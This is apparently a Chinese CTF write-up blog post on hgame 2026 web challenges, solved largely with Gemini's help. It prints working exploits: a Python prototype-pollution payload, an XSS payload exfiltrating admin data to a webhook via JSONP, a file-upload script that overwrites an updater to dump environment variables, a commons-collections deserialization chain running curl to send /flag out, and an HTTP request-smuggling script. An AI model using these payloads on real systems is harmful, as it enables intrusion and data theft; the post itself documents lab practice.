hgame 2026

魔理沙的魔法目录

抓包发现有一个record包和check包

题目说要阅读1小时以上,那该record包的时间,再check一下就可以了

vidarshop

看起来好像是要登上admin

看来2个思路,一个是并发整钱,一个是伪造admin,还有一个是爆破admin

修改余额是要admin权限,要伪造一下token,然后用None算法伪造的token非法

应该是检测了签名什么的

买苹果的包中有uid,然后注册了几个admin2,3的账号发现uid统一都是1413914{1,2,3},那猜测admin是1413914

然后去尝试果然对了,但是余额还是没变,应该是要修改token

发现不行,应该是token没办法伪造

虽然找到了admin的uid,在这个修改余额的地方也返回了获得权限,但是余额就是没变

历经几个小时的搏斗,终于解出来了,上午没解出来然后做其他的去了,下午的时候发现多了一个提示

然后又试到了一个关键点,用一个用户买了apple之后,所有用户的余额都会变为0,然后拿着这些信息问gemini,死活出不来,还走进了死胡同,后面之间不给Gemini多余信息,响应体什么的,然后Gemini给了几个技术词,一个就是原型链污染,然后拿着去搜,看了一篇文章,感觉有点思路了,文章链接:Python原型链污染(prototype-pollution-in-python) - Article_kelp - 博客园

然后就是试payload,其中有个payload直接把环境崩了,因为那个payload是一开始试到info的时候有了提示说method没用balance这个attibute,然后Gemini给生成了一个payload,用了之后直接炸了

1
2
3
4
5
6
7
8
9
{
"info": {
"func": {
"globals": {
"balance": 99999999
}
}
}
}

然后看到了文章里的这个

瞬间感觉应该就是了,因为一个用户买了,所有用户余额都扣,应该就是全局变量,果不其然,成功了

1
2
3
4
5
6
7
{
"__init__" : {
"__globals__" : {
"balance" : 514299999999
}
}
}

又是一个新的知识点

博丽神社的绘马挂

随便点点请求,然后将一些请求体发给Gemini,如search的那个,然后Gemini分析出

后面试了挺多payload,终于成功了

1
<img src=x onerror="var s=document.createElement('script');window.steal=function(d){fetch('https://webhook.site/aaeaac0c-d907-435b-b060-cb9ee119bffe?f='+btoa(JSON.stringify(d)))};s.src='/api/search?q=Hgame&callback=window.steal';document.body.appendChild(s);">

Gemini关于这个payload的详细讲解

第一阶段:点火(绕过 innerHTML 限制)

1
<img src=x onerror="...">
  • 背景:题目源码是用 div.innerHTML = content 来渲染愿望的。
  • 原理:现代浏览器为了安全,不会执行通过 innerHTML 插入的 <script> 标签。
  • 绕过:但是,浏览器会执行 HTML 标签中的“事件处理器”(如 onerror, onload, onmouseover)。
  • 动作:我们故意给 img 标签设置一个错误的地址 src=x。图片加载失败,瞬间触发 onerror 里面的 JavaScript 代码。这就像是绕过正门,从窗户把“炸药”扔了进去。

第二阶段:设伏(定义“接货”函数)

1
2
3
window.steal = function(d) {
fetch('https://webhook.site/...?f=' + btoa(JSON.stringify(d)))
};
  • 目的:我们需要一个全局函数来接收从 API 接口“偷”来的数据。
  • window.steal:在全局作用域定义一个名为 steal 的函数。为什么要全局?因为稍后 JSONP 返回的代码是在全局运行的,它必须能找到这个函数。
  • 数据处理
    • JSON.stringify(d):把 API 返回的 JSON 对象变成字符串。
    • btoa(…):把字符串进行 Base64 编码。这是为了防止数据里有 &, ?, # 等特殊符号,导致你的 Webhook URL 被截断或报错。
  • fetch:最后把编码后的数据像贴小广告一样,拼在你的 Webhook 地址后面发出去。

第三阶段:伪装(绕过 Sec-Fetch-Dest 检查)

1
2
3
var s = document.createElement('script');
s.src = '/api/search?q=Hgame&callback=window.steal';
document.body.appendChild(s);
  • 背景:你之前直接访问接口报 403,是因为服务器检查了 Sec-Fetch-Dest 请求头,它只允许 <script> 标签发起的请求。
  • 原理:虽然 innerHTML 不执行已有的脚本,但它允许你运行 JS。我们利用 JS 动态创建一个新的 <script> 标签并插入页面。
  • JSONP 核心
    • 我们将脚本的来源指向接口:/api/search。
    • 关键参数:callback=window.steal。这告诉服务器:“别光给我数据,请把数据包在一个名为 window.steal() 的函数调用里发给我。”
  • appendChild:这一步才是真正的“发包”。标签被插入 DOM 的瞬间,浏览器会认为这是一个合法的脚本请求,带上正确的安全头,去下载这个脚本。

第四阶段:收网(全流程回放)

当 Admin Bot(灵梦)看到你这个愿望时,她的浏览器里发生了以下连锁反应:

  • 加载图片失败<img src=x> 挂了。
  • 触发脚本:执行 onerror 里的 JS。
  • 定义函数:浏览器知道了“如果有人调用 window.steal,就把参数发给那个 Webhook”。
  • 发起请求:浏览器往服务器请求了 /api/search?q=Hgame&callback=window.steal。

服务器响应:服务器看到请求合法,返回了一段 JS 代码:

1
window.steal([{"username":"admin","content":"hgame{This_Is_The_Flag}"}]);
  • 执行响应:浏览器下载完这段 JS,立刻执行它。这本质上就是调用了你在第 3 步定义的函数,并将包含 Flag 的数组作为参数传了进去。
  • 外发数据:你的函数把拿到的 Flag 进行 Base64 编码,通过 fetch 穿透防火墙发到了你的 Webhook 页面

又学到了一个新点

MyMonitor

打开是一个登录页面,题目还给了源码,直接把go源码丢给Gemini分析

然后根据ai的payload去试即可,这里要注意使用base64编码请求的话,flag会被截断,然后这里用的post请求

Web-My Little Assistant

直接把附件源码给ai分析

也是拿到了

easyuu

打开是一个文件上传的点,没限制文件内容,题目框架是leptos+ruby,然后经过多次测试加上题目的提示uu,对路径进行编码,有一次发现成功了,直接读取到了/etc/passwd

那只要通过api/list接口找到flag文件即可

找了一圈没找到,看看cargo文件,说在lib里,后面发现也没有,无奈只能去把update目录下的easyuu.zip下载下来读源码,然后ai分析

可以看到确实被我们的脚本覆盖了

但是好像并没有执行,后面又重新开了一个Gemini,然后用python脚本发的才成功,吧2个请求体发给ai,发现可能是换行符的问题

然后在环境变量中读到了flag

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import time

# 题目地址
TARGET_URL = "http://1.116.118.188:31714" # 记得换成你重启后的新端口

def exploit() :
print( f"[*] Target: {TARGET_URL}" )

# 1. 准备恶意 Payload
# 使用 0.0.0 作为版本号,防止服务器重启
payload_script = """#!/bin/bash
# 尝试把报错也写进去
env > ./uploads/env.txt 2>&1
echo "0.0.1"
"""

# 2. 上传 Payload 覆盖 ./update/easyuu
upload_url = f"{TARGET_URL}/api/upload_file"
files = [
('path1' , (None , './update')) ,
('file' , ('easyuu' , payload_script , 'application/octet-stream'))
]
proxy={
"http" : "http://127.0.0.1:8083"
}
print( "[*] Uploading malicious payload..." )
try :
r = requests.post( upload_url , files=files , timeout=5 )
if r.status_code == 200 :
print( "[+] Upload success!" )
else :
print( f"[-] Upload failed: {r.text}" )
return
except Exception as e :
print( f"[-] Error uploading: {e}" )
return

# 3. 等待触发 (5秒间隔)
print( "[*] Waiting 6 seconds for execution..." )
time.sleep( 6 )

# 4. 下载结果
# 注意:如果之前写坏了,这里可能要换个文件名,或者确保环境重置了
result_url = f"{TARGET_URL}/api/download_file/env.txt"
print( f"[*] Downloading result from {result_url} ..." )

try :
r = requests.get( result_url , timeout=10 )
if r.status_code == 200 :
print( "\n" + "=" * 30 )
print( r.text )
print( "=" * 30 )
elif r.status_code == 404 :
print( "[-] 404 Not Found. Payload might not have executed yet, or permission denied." )
else :
print( f"[-] Error: {r.status_code}" )
except Exception as e :
print( f"[-] Download error: {e}" )

if __name__ == "__main__" :
exploit()

ezcc

cc链的入门小练,把附件解压看到cc是3.2.1版本

那正好就是cc1链,然后在myservet类中找到了2个自定义的序列化/反序列化方法

然后自定义的tool类也很简单

根据Gemini的提示,那我们就可以按着做就行

但是在blackarray中又禁了transformer,那就cc1和cc6都用不了

试了一个上午,ysoserial没成功,然后又是重新开一个Gemini聊天,这次是手动生成的payload,先是试了curl,然后外带数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Solve {
public static void main(String[] args) throws Exception {
// 1. 使用 Javassist 动态生成恶意类字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("HgameExp" + System.currentTimeMillis()); // 随机类名

// 关键点:必须继承 AbstractTranslet
CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);

// 将恶意代码写在构造函数里
// 1. 读取 /flag
// 2. base64 编码 (去掉换行符)
// 3. 拼接到 curl URL 中
String cmd = "sh -c \"curl http://x.x.x.x/$(cat /flag | base64 | tr -d '\\n')\"";

clazz.makeClassInitializer().setBody("{ java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", \"" + cmd.replace("\"", "\\\"") + "\"}); }");
//clazz.makeClassInitializer().setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

byte[] classBytes = clazz.toBytecode();

// 2. 填充 TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "Pwned"); // 这个名字可以随便起
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 3. 构造利用链 (CC3 核心逻辑)
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates }
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 4. 触发器 (CC6 逻辑)
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazyMap, "dummy");

HashMap map = new HashMap();
map.put(entry, "value");
innerMap.clear();

setFieldValue(lazyMap, "factory", chain);

// 5. 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}

private static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, val);
}
}

然后成功读到

Java安全要学的还有很多啊,都还不算入门

baby-web?

这个题也是看了wp然后来重新复现了,wp中说是有内网

首先查看附件源码,是可以直接上传php的,然后上传一个webshell

没办法,实在太过卡顿,就没去扫了,直接拿现成的服务结果去复现

后面试了很久,靶机上的代理没配置好,没利用成功,就没试了

《文文。新闻》

这个是看了wp才在后面复现出来的,总体就是任意文件读取源码+请求走私

从vite.config.js文件中发现配置错误,可以任意文件读取

对于这个文件,gemini这样解读

然后读取rust源码给Gemini发现可以请求走私

然后通过package.json看看用了哪些库和组件

读取了http_parser后,Gemini解释了漏洞原理以及流程

现在来执行Gemini编写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import time

# 配置信息
TARGET_IP = "forward.vidar.club"
TARGET_PORT = 30182 # 这是靶机对外的总端口(映射到 proxy.js 的 80)
MY_TOKEN = "c7243916-4a9a-482c-939f-88905a8afa27"

def smuggle() :
# 1. 构造走私请求 (陷阱)
# Content-Length 设为 600,但我们只发了 content=CAPTURED: 这几个字节
# Rust 解析器会停在这里死等剩下的字节凑够 600
trap = (
"POST /api/comment HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Authorization: {MY_TOKEN}\r\n"
"Content-Length: 600\r\n"
"\r\n"
"content=CAPTURED:"
)

# 2. 构造外层包裹
chunk_size = hex( len( trap ) )[ 2 : ]
payload = (
"POST /api/smuggle_check HTTP/1.1\r\n"
f"Host: {TARGET_IP}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{chunk_size}\r\n"
f"{trap}\r\n"
"0\r\n\r\n"
)

try :
s = socket.socket( socket.AF_INET , socket.SOCK_STREAM )
s.connect( (TARGET_IP , TARGET_PORT) )
s.sendall( payload.encode() )
print( "[*] 走私包已发送,陷阱已布下..." )

# 保持连接一会儿,让 Bot 有机会把数据挤进同一个管道
time.sleep( 2 )
s.close()
except Exception as e :
print( f"[-] 错误: {e}" )

if __name__ == "__main__" :
while True :
smuggle()
time.sleep( 1 ) # 每隔 1 秒布一次阵

然后刷新评论,截取到了bot的请求头


hgame 2026
https://rightevil.github.io/hgame 2026/
作者
rightevil
发布于
2026年2月27日
许可协议